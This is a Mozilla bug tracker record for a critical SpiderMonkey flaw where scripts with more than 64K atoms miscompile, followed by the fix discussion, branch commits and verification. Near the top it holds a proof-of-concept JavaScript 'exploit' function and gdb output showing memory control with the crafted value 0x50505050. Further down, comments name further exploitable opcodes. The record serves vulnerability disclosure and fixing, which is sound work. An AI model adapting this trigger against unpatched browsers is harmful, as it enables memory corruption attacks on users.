Closed Bug 366122 Opened 13 years ago Closed 13 years ago

large script miscompiles

Categories

(Core :: JavaScript Engine, defect, critical)

defect
Not set
critical

Tracking

()

VERIFIED FIXED

People

(Reporter: sync2d, Assigned: igor)

References

Details

(Keywords: crash, verified1.8.0.10, verified1.8.1.2, Whiteboard: [sg:critical?] hold for comment 10,11 (bug 367561))

Attachments

(2 files)

$ cat 019-large-script.txt
function exploit() {
  var code = "", obj = {};
  for(var i = 0; i < 0x10000; i++) {
    if(i == 10242) {
      code += "void 0x10000050505050;\n";
    } else {
      code += "void 'x" + i + "';\n";
    }
  }
  code += "export undefined;\n";
  code += "void 125;\n";
  eval(code);
}
exploit();

$ gdb --eval run --args opt.obj/js 019-large-script.txt
...
Program received signal SIGSEGV, Segmentation fault.
js_Interpret (cx=0xab0750,
    pc=0x165aa13 "}(\002\303", '\265' <repeats 196 times>..., result=0x98e930)
    at jsinterp.c:4942
4942                id = ATOM_TO_JSID(fun->atom);
(gdb) print *obj
$1 = {map = 0x50505050, fslots = {1127219200, 6, 15145248, 6, 15145296, 6},
  dslots = 0xe71980}

exploitable.
The last patch for bug 365608 fixes this.
Depends on: 365608
Assignee: general → igor.bukanov
Fixed on trunk as a consequence of a general reorganisation of atom table access in bug 365608.
Status: NEW → RESOLVED
Closed: 13 years ago
Flags: blocking1.8.1.2?
Flags: blocking1.8.0.10?
Resolution: --- → FIXED
I crash on the 1.8 branch, too. TB28149817

Bug 365608 is a big change, is there something more conservative we could do for the branches, like bail out if we hit a limit?
(In reply to comment #3)
> Bug 365608 is a big change, is there something more conservative we could do
> for the branches, like bail out if we hit a limit?

Sure, this would be a better solution for branches especially given the regression in bug 366312. AFAICS this bug, bug 366123 and bug 365692 cover all the cases of the problem, but I will check it one more time to be sure. 
Flags: blocking1.8.1.2?
Flags: blocking1.8.1.2+
Flags: blocking1.8.0.10?
Flags: blocking1.8.0.10+
Attached patch Fix v1Splinter Review
Minimal fix for 1.8.* branches to report an error about too big script.
Attachment #250923 - Flags: review?(brendan)
Attachment #250923 - Flags: approval1.8.1.2?
Attachment #250923 - Flags: approval1.8.0.10?
Attachment #250923 - Flags: review?(brendan) → review+
Whiteboard: [sg:critical?]
Comment on attachment 250923 [details] [diff] [review]
Fix v1

Approved for 1.8/1.8.0 branches, a=dveditz for drivers
Attachment #250923 - Flags: approval1.8.1.2?
Attachment #250923 - Flags: approval1.8.1.2+
Attachment #250923 - Flags: approval1.8.0.10?
Attachment #250923 - Flags: approval1.8.0.10+
I committed the patch from comment 5 to MOZILLA_1_8_BRANCH:

Checking in jsemit.c;
/cvsroot/mozilla/js/src/jsemit.c,v  <--  jsemit.c
new revision: 3.128.2.64; previous revision: 3.128.2.63
done
Keywords: fixed1.8.1.2
I committed the patch from comment 5 to MOZILLA_1_8_0_BRANCH:

Checking in jsemit.c;
/cvsroot/mozilla/js/src/jsemit.c,v  <--  jsemit.c
new revision: 3.128.2.3.2.15; previous revision: 3.128.2.3.2.14
done
Keywords: fixed1.8.0.10
Flags: in-testsuite+
(In reply to comment #5)
> Created an attachment (id=250923) [details]
> Fix v1
> Minimal fix for 1.8.* branches to report an error about too big script. 

JSOP_SETCONT is exploitable too.
JSOP_(GET|SET)METHOD is suspicious.
(In reply to comment #10)
> JSOP_SETCONT is exploitable too.
> JSOP_(GET|SET)METHOD is suspicious.

I think these all cases are exploitable since the decompiler assumes that the atom corresponding to the bytecode is string. The case of JSOP_METHOD is especially bad since one can not throw an error for too big script on it. Otherwise any script containing over 64K atoms and function calls would not compile. I will file a separated bug for it.
verified fixed 1.8.0, 1.8.1, 1.9.0 2007-01-23 win/mac*/linux
Status: RESOLVED → VERIFIED
Group: security
Group: security
Whiteboard: [sg:critical?] → [sg:critical?] hold for comment 10,11 (bug 367361)
Whiteboard: [sg:critical?] hold for comment 10,11 (bug 367361) → [sg:critical?] hold for comment 10,11 (bug 367561)
Group: security
/cvsroot/mozilla/js/tests/js1_5/Regress/regress-366122.js,v  <--  regress-366122.js
initial revision: 1.1
You need to log in before you can comment on or make changes to this bug.